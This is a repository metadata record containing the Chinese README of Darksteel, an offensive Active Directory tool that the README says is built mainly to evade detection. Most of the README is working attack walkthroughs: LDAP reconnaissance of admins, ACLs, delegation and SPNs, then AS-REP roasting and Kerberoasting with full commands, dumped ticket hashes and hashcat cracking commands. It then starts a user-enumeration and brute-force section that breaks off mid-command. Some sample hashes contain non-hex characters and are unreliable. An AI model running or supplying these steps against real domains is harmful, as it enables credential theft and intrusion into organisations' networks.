{"id":14457382,"url":"https://github.com/wjlab/Darksteel","last_synced_at":"2025-08-28T14:31:08.807Z","repository":{"id":61730331,"uuid":"550612162","full_name":"wjlab/Darksteel","owner":"wjlab","description":"域内自动化信息搜集利用工具","archived":false,"fork":false,"pushed_at":"2023-10-24T06:35:06.000Z","size":83,"stargazers_count":405,"open_issues_count":3,"forks_count":41,"subscribers_count":6,"default_branch":"master","last_synced_at":"2024-09-02T17:03:37.005Z","etag":null,"topics":["doamin","kerberos","ldap"],"latest_commit_sha":null,"homepage":"","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"other","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/wjlab.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null}},"created_at":"2022-10-13T03:33:32.000Z","updated_at":"2024-09-02T05:02:20.000Z","dependencies_parsed_at":"2023-02-04T03:17:56.979Z","dependency_job_id":"f36bb1f8-3ad2-4782-80e0-287cdded3f76","html_url":"https://github.com/wjlab/Darksteel","commit_stats":{"total_commits":21,"total_committers":1,"mean_commits":21.0,"dds":0.0,"last_synced_commit":"ce7396c382133b436efedd63e5be24823a10a135"},"previous_names":[],"tags_count":8,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/wjlab%2FDarksteel","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/wjlab%2FDarksteel/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/wjlab%2FDarksteel/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/wjlab%2FDarksteel/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/wjlab","download_url":"https://codeload.github.com/wjlab/Darksteel/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":231278538,"owners_count":18351924,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["doamin","kerberos","ldap"],"created_at":"2024-09-01T17:00:50.008Z","updated_at":"2024-12-25T19:30:26.737Z","avatar_url":"https://github.com/wjlab.png","language":"Go","funding_links":[],"categories":["Go"],"sub_categories":[],"readme":"# Darksteel\n\n中文 | [English](README_EN.md)\n\n# 介绍\nDarksteel是一款域内自动化信息搜集并利用的工具。在渗透时发现单独搜集域内信息比较繁琐，漏洞利用也需要很多工具，所以完成此项目，帮助我解决域内信息搜集繁琐问题以及漏洞利用问题。此项目以规避检测为主要目的完成，直接对域控进行攻击的利用没有做，因为如果有设备会产生大量的告警，后续可能会添加bypass检测的利用。\n### 功能演示\n可不填写账号密码使用本地账号进行认证查询（-d参数需要填写域名）\n\n```\ndarksteel.exe ldap -d dc.domain.com -n domain.com -m computer\n ____    ______  ____    __  __   ____    ______  ____    ____    __\n/\\  _`\\ /\\  _  \\/\\  _`\\ /\\ \\/\\ \\ /\\  _`\\ /\\__  _\\/\\  _`\\ /\\  _`\\ /\\ \\\n\\ \\ \\/\\ \\ \\ \\L\\ \\ \\ \\L\\ \\ \\ \\/'/'\\ \\,\\L\\_\\/_/\\ \\/\\ \\ \\L\\_\\ \\ \\L\\_\\ \\ \\\n\\ \\ \\ \\ \\ \\  __ \\ \\ ,  /\\ \\ , \u003c  \\/_\\__ \\  \\ \\ \\ \\ \\  _\\L\\ \\  _\\L\\ \\ \\  _\n\\ \\ \\_\\ \\ \\ \\/\\ \\ \\ \\\\ \\\\ \\ \\\\`\\  /\\ \\L\\ \\ \\ \\ \\ \\ \\ \\L\\ \\ \\ \\L\\ \\ \\ \\L\\ \\\n\\ \\____/\\ \\_\\ \\_\\ \\_\\ \\_\\ \\_\\ \\_\\\\ `\\____\\ \\ \\_\\ \\ \\____/\\ \\____/\\ \\____/\n\\/___/  \\/_/\\/_/\\/_/\\/ /\\/_/\\/_/ \\/_____/  \\/_/  \\/___/  \\/___/  \\/___/\n\nv2.0.0\n\n[*] Domain Computers:\nWIN-KQH5FQSIJSH\nDESKTOP-AO8D722\nDESKTOP-DO7D913\nWIN-7UI852PL\nEXCHANGESERVER\n```\n\n### 项目主要功能\n\n```\nldap\n当我们拥有一个域内账号密码(hash)，可以通过ldap进行搜集域内有用信息，如spn、委派、存活计算机等等信息，为域渗透进行准备\n\nkerberos\n针对kerberos漏洞进行利用\n\nblast\n爆破域用户\n\ncomputerip\n批量查询域内计算机对应的ip\n```\n\n```\n ____    ______  ____    __  __   ____    ______  ____    ____    __\n/\\  _`\\ /\\  _  \\/\\  _`\\ /\\ \\/\\ \\ /\\  _`\\ /\\__  _\\/\\  _`\\ /\\  _`\\ /\\ \\\n\\ \\ \\/\\ \\ \\ \\L\\ \\ \\ \\L\\ \\ \\ \\/'/'\\ \\,\\L\\_\\/_/\\ \\/\\ \\ \\L\\_\\ \\ \\L\\_\\ \\ \\\n \\ \\ \\ \\ \\ \\  __ \\ \\ ,  /\\ \\ , \u003c  \\/_\\__ \\  \\ \\ \\ \\ \\  _\\L\\ \\  _\\L\\ \\ \\  _\n  \\ \\ \\_\\ \\ \\ \\/\\ \\ \\ \\\\ \\\\ \\ \\\\`\\  /\\ \\L\\ \\ \\ \\ \\ \\ \\ \\L\\ \\ \\ \\L\\ \\ \\ \\L\\ \\\n   \\ \\____/\\ \\_\\ \\_\\ \\_\\ \\_\\ \\_\\ \\_\\\\ `\\____\\ \\ \\_\\ \\ \\____/\\ \\____/\\ \\____/\n    \\/___/  \\/_/\\/_/\\/_/\\/ /\\/_/\\/_/ \\/_____/  \\/_/  \\/___/  \\/___/  \\/___/\n\n   v2.0.0\n\n自动化域内信息搜集、kerberos利用工具\n\nUsage:\n  darksteel [command]\n\nAvailable Commands:\n  blast       爆破域内用户\n  completion  Generate the autocompletion script for the specified shell\n  computerip  查询域内计算机的ip地址\n  help        Help about any command\n  kerberos    kerberos利用\n  ldap        ldap查询\n\nFlags:\n  -d, --dc string       域控地址\n  -n, --domain string   域名\n  -h, --help            help for darksteel\n\nUse \"darksteel [command] --help\" for more information about a command.\n\n```\n# 使用实例\n## Ldap\n##### 1、当我们拥有一个域内账号密码(hash)，可以通过ldap进行搜集域内有用信息，如spn、委派、存活计算机等等信息，为域渗透进行准备\n```\ndarksteel.exe ldap -n test.com -d 192.168.1.1 -u user -p password(hash) -a\n ____    ______  ____    __  __   ____    ______  ____    ____    __       \n/\\  _`\\ /\\  _  \\/\\  _`\\ /\\ \\/\\ \\ /\\  _`\\ /\\__  _\\/\\  _`\\ /\\  _`\\ /\\ \\      \n\\ \\ \\/\\ \\ \\ \\L\\ \\ \\ \\L\\ \\ \\ \\/'/'\\ \\,\\L\\_\\/_/\\ \\/\\ \\ \\L\\_\\ \\ \\L\\_\\ \\ \\    \n \\ \\ \\ \\ \\ \\  __ \\ \\ ,  /\\ \\ , \u003c  \\/_\\__ \\  \\ \\ \\ \\ \\  _\\L\\ \\  _\\L\\ \\ \\  _\n  \\ \\ \\_\\ \\ \\ \\/\\ \\ \\ \\\\ \\\\ \\ \\\\`\\  /\\ \\L\\ \\ \\ \\ \\ \\ \\ \\L\\ \\ \\ \\L\\ \\ \\ \\L\\ \\ \n   \\ \\____/\\ \\_\\ \\_\\ \\_\\ \\_\\ \\_\\ \\_\\\\ `\\____\\ \\ \\_\\ \\ \\____/\\ \\____/\\ \\____/  \n    \\/___/  \\/_/\\/_/\\/_/\\/ /\\/_/\\/_/ \\/_____/  \\/_/  \\/___/  \\/___/  \\/___/   \n    \n   v2.0.0\n\n\n[*] Domain User:\n        Administrator\n        Guest\n        krbtgt\n        wanliu\n        qt\n        zz\n        xx\n        exchangeuser\n        qt01\n        ac\n\n[*] Domain Admins:\n        CN=wanliu,CN=Users,DC=wanliu1,DC=com\n        CN=Administrator,CN=Users,DC=wanliu1,DC=com\n\n[*] AdminSDHolder:\n        Administrator\n        krbtgt\n        wanliu\n\n[*] sIDHistory:\n[*] Enterprise Admins:\n        CN=Administrator,CN=Users,DC=wanliu1,DC=com\n\n[*] OU :\n        Domain Controllers\n        Microsoft Exchange Security Groups\n\n[*] Ca Computer:\n        wanliu1-WIN-KQH5FQSIJSH-CA\n\n[*] Esc1 vulnerability template:\n\n[*] Esc2 vulnerability template:\n\n[*] MsSql Computer:\n        WIN-7UI852PL\n\n[*] Maq Number:\n        10\n\n[*] DC Computer:\n        WIN-KQH5FQSIJSH\n\n[*] Acl :\n        qt 完全控制 ------\u003e ac\n        qt 修改密码 ------\u003e zz\n        qt01 拥有DCSync权限\n\n[*] Trust Domain:\n\n[*] Domain Computers:\n        WIN-KQH5FQSIJSH\n        DESKTOP-AO8D722\n        DESKTOP-DO7D913\n        WIN-7UI852PL\n        EXCHANGESERVER\n\n[*] Survival Computer:\n        WIN-KQH5FQSIJSH --\u003e Windows Server 2012 R2 Standard\n        DESKTOP-AO8D722 --\u003e Windows 10 专业版\n        DESKTOP-DO7D913 --\u003e Windows 10 专业版\n        WIN-7UI852PL --\u003e Windows Server 2008 R2 Enterprise\n        EXCHANGESERVER --\u003e Windows Server 2016 Datacenter\n\n[*] Exchange Servers:\n        CN=EXCHANGESERVER,CN=Computers,DC=wanliu1,DC=com\n\n[*] Exchange Trusted Subsystem:\n        CN=EXCHANGESERVER,CN=Computers,DC=wanliu1,DC=com\n\n[*] Exchange Organization Management:\n        CN=Administrator,CN=Users,DC=wanliu1,DC=com\n\n[*] Asreproast User:\n        xx\n\n[*] 非约束委派机器：\n        CN=WIN-KQH5FQSIJSH,OU=Domain Controllers,DC=wanliu1,DC=com [WIN-KQH5FQSIJSH]\n[*] 非约束委派用户：\n        CN=zz,CN=Users,DC=wanliu1,DC=com [zz]\n[*] 约束委派机器：\n        CN=WIN-7UI852PL,CN=Computers,DC=wanliu1,DC=com [WIN-7UI852PL]\n        cifs/WIN-KQH5FQSIJSH.wanliu1.com/wanliu1.com\n        cifs/WIN-KQH5FQSIJSH.wanliu1.com\n        cifs/WIN-KQH5FQSIJSH\n        cifs/WIN-KQH5FQSIJSH.wanliu1.com/WANLIU1\n        cifs/WIN-KQH5FQSIJSH/WANLIU1\n[*] 约束委派用户：\n[*] 基于资源约束委派：\n        CN=DESKTOP-AO8D722,CN=Computers,DC=wanliu1,DC=com -\u003e creator  S-1-5-21-3163795713-59934753-1752793692-1106[qt]\n        CN=DESKTOP-DO7D913,CN=Computers,DC=wanliu1,DC=com -\u003e creator  S-1-5-21-3163795713-59934753-1752793692-1106[qt]\n        CN=WIN-7UI852PL,CN=Computers,DC=wanliu1,DC=com -\u003e creator  S-1-5-21-3163795713-59934753-1752793692-1106[qt]\n\n[*] SPN：CN=xx,CN=Users,DC=wanliu1,DC=com\n        cifs/admin\n\n[*] SPN：CN=WIN-KQH5FQSIJSH,OU=Domain Controllers,DC=wanliu1,DC=com\n        exchangeAB/WIN-KQH5FQSIJSH\n        exchangeAB/WIN-KQH5FQSIJSH.wanliu1.com\n        Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/WIN-KQH5FQSIJSH.wanliu1.com\n        ldap/WIN-KQH5FQSIJSH.wanliu1.com/ForestDnsZones.wanliu1.com\n        ldap/WIN-KQH5FQSIJSH.wanliu1.com/DomainDnsZones.wanliu1.com\n        TERMSRV/WIN-KQH5FQSIJSH\n        TERMSRV/WIN-KQH5FQSIJSH.wanliu1.com\n        DNS/WIN-KQH5FQSIJSH.wanliu1.com\n        GC/WIN-KQH5FQSIJSH.wanliu1.com/wanliu1.com\n        RestrictedKrbHost/WIN-KQH5FQSIJSH.wanliu1.com\n        RestrictedKrbHost/WIN-KQH5FQSIJSH\n        RPC/f20db9b6-b740-4670-ab3c-ead6acf58f4f._msdcs.wanliu1.com\n        HOST/WIN-KQH5FQSIJSH/WANLIU1\n        HOST/WIN-KQH5FQSIJSH.wanliu1.com/WANLIU1\n        HOST/WIN-KQH5FQSIJSH\n        HOST/WIN-KQH5FQSIJSH.wanliu1.com\n        HOST/WIN-KQH5FQSIJSH.wanliu1.com/wanliu1.com\n        E3514235-4B06-11D1-AB04-00C04FC2DCD2/f20db9b6-b740-4670-ab3c-ead6acf58f4f/wanliu1.com\n        ldap/WIN-KQH5FQSIJSH/WANLIU1\n        ldap/f20db9b6-b740-4670-ab3c-ead6acf58f4f._msdcs.wanliu1.com\n        ldap/WIN-KQH5FQSIJSH.wanliu1.com/WANLIU1\n        ldap/WIN-KQH5FQSIJSH\n        ldap/WIN-KQH5FQSIJSH.wanliu1.com\n        ldap/WIN-KQH5FQSIJSH.wanliu1.com/wanliu1.com\n\n[*] SPN：CN=EXCHANGESERVER,CN=Computers,DC=wanliu1,DC=com\n        IMAP/EXCHANGESERVER\n        IMAP/exchangeserver.wanliu1.com\n        IMAP4/EXCHANGESERVER\n        IMAP4/exchangeserver.wanliu1.com\n        POP/EXCHANGESERVER\n        POP/exchangeserver.wanliu1.com\n        POP3/EXCHANGESERVER\n        POP3/exchangeserver.wanliu1.com\n        exchangeRFR/EXCHANGESERVER\n        exchangeRFR/exchangeserver.wanliu1.com\n        exchangeAB/EXCHANGESERVER\n        exchangeAB/exchangeserver.wanliu1.com\n        exchangeMDB/EXCHANGESERVER\n        exchangeMDB/exchangeserver.wanliu1.com\n        SMTP/EXCHANGESERVER\n        SMTP/exchangeserver.wanliu1.com\n        SmtpSvc/EXCHANGESERVER\n        SmtpSvc/exchangeserver.wanliu1.com\n        TERMSRV/EXCHANGESERVER\n        TERMSRV/exchangeserver.wanliu1.com\n        WSMAN/exchangeserver\n        WSMAN/exchangeserver.wanliu1.com\n        RestrictedKrbHost/EXCHANGESERVER\n        HOST/EXCHANGESERVER\n        RestrictedKrbHost/exchangeserver.wanliu1.com\n        HOST/exchangeserver.wanliu1.com\n\n[*] SPN：CN=DESKTOP-AO8D722,CN=Computers,DC=wanliu1,DC=com\n        TERMSRV/DESKTOP-AO8D722\n        TERMSRV/DESKTOP-AO8D722.wanliu1.com\n        RestrictedKrbHost/DESKTOP-AO8D722\n        HOST/DESKTOP-AO8D722\n        RestrictedKrbHost/DESKTOP-AO8D722.wanliu1.com\n        HOST/DESKTOP-AO8D722.wanliu1.com\n\n[*] SPN：CN=DESKTOP-DO7D913,CN=Computers,DC=wanliu1,DC=com\n        TERMSRV/DESKTOP-DO7D913\n        TERMSRV/DESKTOP-DO7D913.wanliu1.com\n        RestrictedKrbHost/DESKTOP-DO7D913\n        HOST/DESKTOP-DO7D913\n        RestrictedKrbHost/DESKTOP-DO7D913.wanliu1.com\n        HOST/DESKTOP-DO7D913.wanliu1.com\n\n[*] SPN：CN=WIN-7UI852PL,CN=Computers,DC=wanliu1,DC=com\n        WSMAN/WIN-7UI852PL\n        WSMAN/WIN-7UI852PL.wanliu1.com\n        TERMSRV/WIN-7UI852PL\n        TERMSRV/WIN-7UI852PL.wanliu1.com\n        MSSQLSvc/WIN-7UI852PL.wanliu1.com:1433\n        MSSQLSvc/WIN-7UI852PL.wanliu1.com\n        RestrictedKrbHost/WIN-7UI852PL\n        HOST/WIN-7UI852PL\n        RestrictedKrbHost/WIN-7UI852PL.wanliu1.com\n        HOST/WIN-7UI852PL.wanliu1.com\n\n[*] SPN：CN=krbtgt,CN=Users,DC=wanliu1,DC=com\n        kadmin/changepw\n\n[*] SPN：CN=zz,CN=Users,DC=wanliu1,DC=com\n        mssql/DESKTOP-AO8D722\n```\n\n##### 2、当我们想要查找域内某些关键字对应的user或者computer时可以使用关键字查询，来找到哪些是管理员user和管理员computer\n```\ndarksteel.exe ldap -n test.com -d 192.168.1.1 -u user -p password(hash) -z 管理员\n ____    ______  ____    __  __   ____    ______  ____    ____    __       \n/\\  _`\\ /\\  _  \\/\\  _`\\ /\\ \\/\\ \\ /\\  _`\\ /\\__  _\\/\\  _`\\ /\\  _`\\ /\\ \\      \n\\ \\ \\/\\ \\ \\ \\L\\ \\ \\ \\L\\ \\ \\ \\/'/'\\ \\,\\L\\_\\/_/\\ \\/\\ \\ \\L\\_\\ \\ \\L\\_\\ \\ \\    \n \\ \\ \\ \\ \\ \\  __ \\ \\ ,  /\\ \\ , \u003c  \\/_\\__ \\  \\ \\ \\ \\ \\  _\\L\\ \\  _\\L\\ \\ \\  _\n  \\ \\ \\_\\ \\ \\ \\/\\ \\ \\ \\\\ \\\\ \\ \\\\`\\  /\\ \\L\\ \\ \\ \\ \\ \\ \\ \\L\\ \\ \\ \\L\\ \\ \\ \\L\\ \\ \n   \\ \\____/\\ \\_\\ \\_\\ \\_\\ \\_\\ \\_\\ \\_\\\\ `\\____\\ \\ \\_\\ \\ \\____/\\ \\____/\\ \\____/  \n    \\/___/  \\/_/\\/_/\\/_/\\/ /\\/_/\\/_/ \\/_____/  \\/_/  \\/___/  \\/___/  \\/___/   \n    \n   v1.0.8\n\n[*] CN=Administrators,CN=Builtin,DC=test,DC=com   --\u003e 管理员对计算机/域有不受限制的完全访问权\n[*] CN=Schema Admins,CN=Users,DC=test,DC=com   --\u003e 架构的指定系统管理员\n[*] CN=Enterprise Admins,CN=Users,DC=test,DC=com   --\u003e 企业的指定系统管理员\n[*] CN=Domain Admins,CN=Users,DC=test,DC=com   --\u003e 指定的域管理员\n[*] CN=zz,CN=Users,DC=test,DC=com   --\u003e 假管理员\n```\n\n##### 3、如果想查询的内容工具内没有写到也可以使用ldap语法进行查询\n```\ndarksteel.exe ldap -n test.com -d 192.168.1.1 -u user -p password(hash) -f \"(objectClass=Computer)\" -t cn,dNSHostName\n ____    ______  ____    __  __   ____    ______  ____    ____    __       \n/\\  _`\\ /\\  _  \\/\\  _`\\ /\\ \\/\\ \\ /\\  _`\\ /\\__  _\\/\\  _`\\ /\\  _`\\ /\\ \\      \n\\ \\ \\/\\ \\ \\ \\L\\ \\ \\ \\L\\ \\ \\ \\/'/'\\ \\,\\L\\_\\/_/\\ \\/\\ \\ \\L\\_\\ \\ \\L\\_\\ \\ \\    \n \\ \\ \\ \\ \\ \\  __ \\ \\ ,  /\\ \\ , \u003c  \\/_\\__ \\  \\ \\ \\ \\ \\  _\\L\\ \\  _\\L\\ \\ \\  _\n  \\ \\ \\_\\ \\ \\ \\/\\ \\ \\ \\\\ \\\\ \\ \\\\`\\  /\\ \\L\\ \\ \\ \\ \\ \\ \\ \\L\\ \\ \\ \\L\\ \\ \\ \\L\\ \\ \n   \\ \\____/\\ \\_\\ \\_\\ \\_\\ \\_\\ \\_\\ \\_\\\\ `\\____\\ \\ \\_\\ \\ \\____/\\ \\____/\\ \\____/  \n    \\/___/  \\/_/\\/_/\\/_/\\/ /\\/_/\\/_/ \\/_____/  \\/_/  \\/___/  \\/___/  \\/___/   \n    \n   v1.0.8\n\nDN: CN=WIN-KQH5FQSIJSH,OU=Domain Controllers,DC=test,DC=com\ncn: [WIN-KQH5FQSIJSH]\ndNSHostName: [WIN-KQH5FQSIJSH.test.com]\nDN: CN=DESKTOP-AO8D722,CN=Computers,DC=test,DC=com\ncn: [DESKTOP-AO8D722]\ndNSHostName: [DESKTOP-AO8D722.test.com]\nDN: CN=DESKTOP-DO7D913,CN=Computers,DC=test,DC=com\ncn: [DESKTOP-DO7D913]\ndNSHostName: [DESKTOP-DO7D913.test.com]\nDN: CN=WIN-7UI852PL,CN=Computers,DC=test,DC=com\ncn: [WIN-7UI852PL]\ndNSHostName: [WIN-7UI852PL.test.com]\n```\n## Kerberos\n\n##### 1、利用kerberos不需要域认证对用户密钥进行获取，可选择输出hashcat或john爆破格式（默认为hashcat）爆破出来的密码则为该用户的密码，如果不指定目标用户则需要一个域用户账号密码进行ldap查询并输出所有可利用密钥。hashcat爆破命令：hashcat -m 18200 hash.txt pass.txt --force\n\n```\ndarksteel.exe kerberos -m asreproast -d 192.168.1.1 -n test.com -u user -p password(hash)\n ____    ______  ____    __  __   ____    ______  ____    ____    __       \n/\\  _`\\ /\\  _  \\/\\  _`\\ /\\ \\/\\ \\ /\\  _`\\ /\\__  _\\/\\  _`\\ /\\  _`\\ /\\ \\      \n\\ \\ \\/\\ \\ \\ \\L\\ \\ \\ \\L\\ \\ \\ \\/'/'\\ \\,\\L\\_\\/_/\\ \\/\\ \\ \\L\\_\\ \\ \\L\\_\\ \\ \\    \n \\ \\ \\ \\ \\ \\  __ \\ \\ ,  /\\ \\ , \u003c  \\/_\\__ \\  \\ \\ \\ \\ \\  _\\L\\ \\  _\\L\\ \\ \\  _\n  \\ \\ \\_\\ \\ \\ \\/\\ \\ \\ \\\\ \\\\ \\ \\\\`\\  /\\ \\L\\ \\ \\ \\ \\ \\ \\ \\L\\ \\ \\ \\L\\ \\ \\ \\L\\ \\ \n   \\ \\____/\\ \\_\\ \\_\\ \\_\\ \\_\\ \\_\\ \\_\\\\ `\\____\\ \\ \\_\\ \\ \\____/\\ \\____/\\ \\____/  \n    \\/___/  \\/_/\\/_/\\/_/\\/ /\\/_/\\/_/ \\/_____/  \\/_/  \\/___/  \\/___/  \\/___/   \n    \n   v1.0.8\n\n[*] Target domain: test.com (192.168.1.1)\n[*] Use LDAP to retreive vulnerable accounts\n[*] Ask AS-Rep for user zz without pre-authentication\n[*] Get a valid ticket with encryption: arcfour-hmac-md5\n[*] Hashes:\n$krb5asrep$23$zz@test.COM:8193197b866da1209af56fd5f4610c38$bc8ee9135bd82f0b2333\naf24ae376bb014cd0400ef9b8ff0d0dbc8180c671cc6fe1290cd2c876f84352126bd7948adbc6b3f\n51d85ebe1e8dfa15c53443fb835d743ce3cd3e5ac7f2549271385134bc685ffe55bdb30103cf132a\n69267d9cec9201f478547892b3343c7427b83a901f6c01d877a4357d14d0384cd8b3cf2940e6e32e\na862d700499c6a7791e4fd17228a9adc5db5ebbe6e69d59bcde7f7e3fd3751ba54eda6339cb87b69\n5a7a5daf5964a0e626129e8acc9b783aed7c060a4044d41f02da52bcff466a32dc465de10cc7e90c\n7c5b84fcac701107da4300db4cfc36d58cc0524f23b5e16789656\n\n```\n\n##### 2、指定目标用户，则不需要域用户认证\n\n```\ndarksteel.exe kerberos -m asreproast -d 192.168.1.1 -n test.com -t zz\n ____    ______  ____    __  __   ____    ______  ____    ____    __       \n/\\  _`\\ /\\  _  \\/\\  _`\\ /\\ \\/\\ \\ /\\  _`\\ /\\__  _\\/\\  _`\\ /\\  _`\\ /\\ \\      \n\\ \\ \\/\\ \\ \\ \\L\\ \\ \\ \\L\\ \\ \\ \\/'/'\\ \\,\\L\\_\\/_/\\ \\/\\ \\ \\L\\_\\ \\ \\L\\_\\ \\ \\    \n \\ \\ \\ \\ \\ \\  __ \\ \\ ,  /\\ \\ , \u003c  \\/_\\__ \\  \\ \\ \\ \\ \\  _\\L\\ \\  _\\L\\ \\ \\  _\n  \\ \\ \\_\\ \\ \\ \\/\\ \\ \\ \\\\ \\\\ \\ \\\\`\\  /\\ \\L\\ \\ \\ \\ \\ \\ \\ \\L\\ \\ \\ \\L\\ \\ \\ \\L\\ \\ \n   \\ \\____/\\ \\_\\ \\_\\ \\_\\ \\_\\ \\_\\ \\_\\\\ `\\____\\ \\ \\_\\ \\ \\____/\\ \\____/\\ \\____/  \n    \\/___/  \\/_/\\/_/\\/_/\\/ /\\/_/\\/_/ \\/_____/  \\/_/  \\/___/  \\/___/  \\/___/   \n    \n   v1.0.8\n\n[*] Target domain: test.com (192.168.1.1)\n[*] Ask AS-Rep for user zz without pre-authentication\n[*] Get a valid ticket with encryption: arcfour-hmac-md5\n[*] Hashes:\n$krb5asrep$23$zz@test.COM:8193197b866da1209af56fd5f4610c38$bc8ee9135bd82f0b2333\naf24ae376bb014cd0400ef9b8ff0d0dbc8180c671cc6fe1290cd2c876f84352126bd7948adbc6b3f\n51d85ebe1e8dfa15c53443fb835d743ce3cd3e5ac7f2549271385134bc685ffe55bdb30103cf132a\n69267d9cec9201f478547892b3343c7427b83a901f6c01d877a4357d14d0384cd8b3cf2940e6e32e\na862d700499c6a7791e4fd17228a9adc5db5ebbe6e69d59bcde7f7e3fd3751ba54eda6339cb87b69\n5a7a5daf5964a0e626129e8acc9b783aed7c060a4044d41f02da52bcff466a32dc465de10cc7e90c\n7c5b84fcac701107da4300db4cfc36d58cc0524f23b5e16789656\n```\n\n##### 3、如果目标将用户设置了spn后，则可以将密钥输出，可选择输出hashcat或john爆破格式（默认为hashcat）爆破出来的密码则为该用户的密码，如果不指定目标用户则需要一个域用户账号密码进行ldap查询并输出所有可利用密钥。hashcat爆破命令：hashcat -m 13100 hash.txt pass.txt --force\n\n```\ndarksteel.exe kerberos -m kerberoast -d 192.168.1.1 -n test.com -u user -p password(hash) \n ____    ______  ____    __  __   ____    ______  ____    ____    __       \n/\\  _`\\ /\\  _  \\/\\  _`\\ /\\ \\/\\ \\ /\\  _`\\ /\\__  _\\/\\  _`\\ /\\  _`\\ /\\ \\      \n\\ \\ \\/\\ \\ \\ \\L\\ \\ \\ \\L\\ \\ \\ \\/'/'\\ \\,\\L\\_\\/_/\\ \\/\\ \\ \\L\\_\\ \\ \\L\\_\\ \\ \\    \n \\ \\ \\ \\ \\ \\  __ \\ \\ ,  /\\ \\ , \u003c  \\/_\\__ \\  \\ \\ \\ \\ \\  _\\L\\ \\  _\\L\\ \\ \\  _\n  \\ \\ \\_\\ \\ \\ \\/\\ \\ \\ \\\\ \\\\ \\ \\\\`\\  /\\ \\L\\ \\ \\ \\ \\ \\ \\ \\L\\ \\ \\ \\L\\ \\ \\ \\L\\ \\ \n   \\ \\____/\\ \\_\\ \\_\\ \\_\\ \\_\\ \\_\\ \\_\\\\ `\\____\\ \\ \\_\\ \\ \\____/\\ \\____/\\ \\____/  \n    \\/___/  \\/_/\\/_/\\/_/\\/ /\\/_/\\/_/ \\/_____/  \\/_/  \\/___/  \\/___/  \\/___/   \n    \n   v1.0.8\n\n\n[*] Target domain: test.com (192.168.1.1)\n[*] Use username and password/key as credentials to request a TGT\n[*] Use LDAP to retreive vulnerable accounts\n[*] Found 1 users to Kerberoast found in LDAP\n[*] CN=zz,CN=Users,DC=test,DC=com\n    sAMAccountName      : zz\n    distinguishedName   : CN=zz,CN=Users,DC=test,DC=com\n    servicePrincipalName: mssql/DESKTOP-AO8D722\n[*] Asking TGS for principal: zz\n[*] Hashes:\n$krb5tgs$23$*zz$WANLIU1.COM$zz*$c1c2da2dbd793dbe2f627132f992e3a7$a3f77d350104545\n3a8ab2917a0961d3ca54f4e97610d00ee5cb3ac03dbc84a9831d4bbd007d143619de8ca277e36c97\n7f5e672396750350a14916b5dece2daa279e47f7684b03d044e9e748f5f3ce777efe73e4df64d814\n75dd1217784fe78fabe7195f5dc659520081152c045574200bfe68aad97cc6c529c3d6e57eefbbaa\nf270fdcee23445ce160b4c71346753fd8464aa5e6073b8b0c9d6e3865a4f48dc61d05f9a97a4d0a5\n6caf0ad0059e058e4746e260d2905e429e31ed7655c87fghtf5654f54c9e506d3b737f678f9fd2bd\n68c226e61f852a6c1e35ceb3b1f6f3c78f1160ddb4ea290870eff55f4ba6ca0161a5bf5545a8da59\nfe20610aafa91fbbe7b8e8f3ff715f965bd09681aa41b929f98a94f8084fca1cb98f38e718612f1e\n51d779c622ae91e0ee62bd2a809b59e0031f57c2647b8ef15972015f3669a80d489139153d20312b\nc8f9be5252fc6ed6dd78a22dec9458d41e6a940534d33c8ajhhgj5f36d224332fec721874e46fea7\nb2397922c6cbe689ef0ff7d0cb1c9d89c975c462a746ae5d473b9cfc37fadcecc96a3907980a13b9\n28cd053467090458ab0a8995e1237cef641698172d6537c2ef4e5987726d6a007b03ffec867f3ab8\n5fd1ce7e89f6bc694266c61ca74e6af2200bfa3a90313bbda3282ed267e6f59d477e789e4c454f66\nac942df4461fc2bad317e23176e8cc299261c1c947dca068153b2fab47b018b2e82ba08d20078195\n8149dd3b03c27ec17bee22496c7cccb3e6acd23c6e7bce62658f7274ce3eef06aa16d4c94bbfbe42\n3f9e7b7254625d28c27fbf2bc07aeec63f7ebe25b49742346eea44e61478e212d719be9c98a53a1c\n2657790c02654fa1c9caf5bdbb816cece4e6ce6e48c86323a8596f059b9d4e4856d52480f56272a5\na393473eaf0ab12b3e085aa97ee28311c4cd54797229522001a3e5fd5fdefgrg4e03efe691635448\n392ea8275cb0916bcc205fb2376ae60008a24cdea072069ca4710d9290d77bab830cf96c97c31fb0\nbab707802409efbad0bb30c6efe207c75632225a52ec757f878e8d97647c34d6703e2a94f2701739\n9ba6efd18a4f714b63468810929287ca3359fff00632ab5de545667d39d6e77456c1b7df57d400a7\nec9ad23b0fc93f24f9c151d9509aeabfbb298a02865bd5d16a273fc6ffb8df14456e0b2eaf973653\n895e7f51f73606294845d6a9ccab6a68b5774a706f06a692c4b619e50ac35fa48e1aadb6323c279f\n68e4c6d29462bd82371a0f24744cbb43bf4ca3a6cca165fe4b4025a4b69a2208bd16eacb0a029973\n86bff57b4fa0924713d7b32295096ac7cc7942299a0b5126880c768edcb7743a429ded7323941cdd\nc6293d7962553c7423b465d9c1c9aae98cf14e30ff0f21e8d75275a48dc1fac5bb37987057e74f83\nf7aeb47dc601826d6643f95c33c7d388a3120b08ed2864e0c0bdacfb41594cea5d286583ed2fd520\n89857642a160760dca1cea4\n```\n## blast\n##### 1、当我们找到域但还没有域用户的时候可以使用域用户枚举进行枚举域用户。想要输出失败信息可以使用-v参数\n\n```\ndarksteel.exe blast -m userenum -d 